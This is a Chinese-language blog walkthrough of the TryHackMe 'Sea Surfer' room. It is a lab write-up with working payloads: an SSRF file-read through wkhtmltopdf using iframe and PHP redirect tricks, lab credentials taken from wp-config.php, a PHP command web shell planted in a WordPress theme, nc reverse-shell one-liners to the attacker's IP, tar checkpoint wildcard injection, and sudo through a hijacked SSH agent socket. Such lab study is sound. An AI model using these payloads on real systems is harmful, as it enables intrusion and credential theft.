扫描打点
结果还是
22
和80
,没什么东西80
是
apache
的默认界面,dirsearch
什么都没扫到抓包看到
response
里面有seasurfer.thm
然后加
hosts
访问,看到是个类似博客的,用WP
搭的扫出来有个
adminer
既然加
hosts
了就应该顺便测一下子域名的:1
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.seasurfer.thm" -u http://seasurfer.thm/ -fs 10918
看到:
这个会生成一个
pdf
生成
pdf
的文件读取漏洞拿数据库账密大一的哪场比赛似乎是见过这样的题的,下下来看到是
wkhtmltopdf 0.12.5
生成的而这个有
ssrf
和文件包含那就新建一个
php
1
2
3
4
5
6
7
$loc = "http://127.0.0.1/";
if(isset($_GET['a'])){
$loc = $_GET['a'];
}
header('Location: '.$loc);。。。这里卡了半天:注意用
php
来开服务而非python
,好像是py
的服务器无法正确处理这样的请求php -S 0.0.0.0:8000
在表单里填入
<iframe src="http://10.10.14.216:8000/1.php?a=file:///etc/passwd">
可以看到成功文件读取:
由于是
WP
的站点,所以可以去读配置文件/var/www/wordpress/wp-config.php
顺便记得改一下显示的长宽:
<iframe src="http://10.10.14.216:8000/1.php?a=file:///var/www/wordpress/wp-config.php" width=1000px height=1000px>
拿到数据库账密
wordpressuser:coolDataTablesMan
回到
adminer
那里:直接去
wp_user
找到加密的密码:爆出来:
kyle:jenny4ever
那直接去后台
wp-admin
登录:然后选择去
theme file editor
改个反弹shell
出来,可以直接改front-page.php
,这样直接访问主页就行:1
if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }
rm %2Ftmp%2Ff%3Bmkfifo %2Ftmp%2Ff%3Bcat %2Ftmp%2Ff|%2Fbin%2Fbash -i 2>%261|nc 10.10.14.216 4444 >%2Ftmp%2Ff
亦有记载的横向
kyle
的家目录访问不到,计划任务是空的,传个pspy
看看进程,发现/var/www/internal/maintenance
有个以kyle
身份运行的backup.sh
不是为啥又是这个啊,此事在上一篇已有记载
很眼熟的
tar
压缩命令,在linuxPrivEsc
房间里面刚刚见过1
2
3echo 'mkfifo /tmp/orindc; nc 10.10.14.216 5555 0</tmp/orindc | /bin/sh >/tmp/orindc 2>&1; rm /tmp/orindc'>shell.sh
touch ./--checkpoint=1
touch './--checkpoint-action=exec=sh shell.sh'真不会的身份验证提权
学了一下,要去看
/etc/pam.d/sudo
,其内容如下:1
2
3
4
5
6
7
8#%PAM-1.0
auth sufficient pam_ssh_agent_auth.so file=/etc/ssh/sudo_authorized_keys
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive:PAM
其用于用户身份验证,简略来说
/etc/pam.d
目录包含许多应用的配置文件,如这里用到的sudo
,每个文件对应该应用的认证流程而
pam_ssh_agent_auth.so
是一个PAM
模块,用于通过ssh
公钥来认证用户身份,一般用在无密码的ssh
登录中其参数
file
指定了公钥的文件路径在本例中,
sudo
的auth
类型被配置为sufficient pam_ssh_agent_auth.so
,即当ssh
公钥认证成功后将跳过密码验证,即达到无密码使用sudo
的效果即可以直接
sudo su
无密码提root
之前用
linpeas
扫的时候见到过:这个每个靶机是随机的
那么综上所述,只需要把
tmp
里面的公钥加到SSH_AUTH_SOCK
路径里,然后直接用sudo
提权就行:1
2
3export SSH_AUTH_SOCK=/tmp/ssh-***/agent.***
ssh-add -l
sudo su
THM打靶日寄30-Sea Surfer
- 本文链接: http://noone40404.github.io/2024/11/30/THM打靶日寄30:Sea Surfer/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!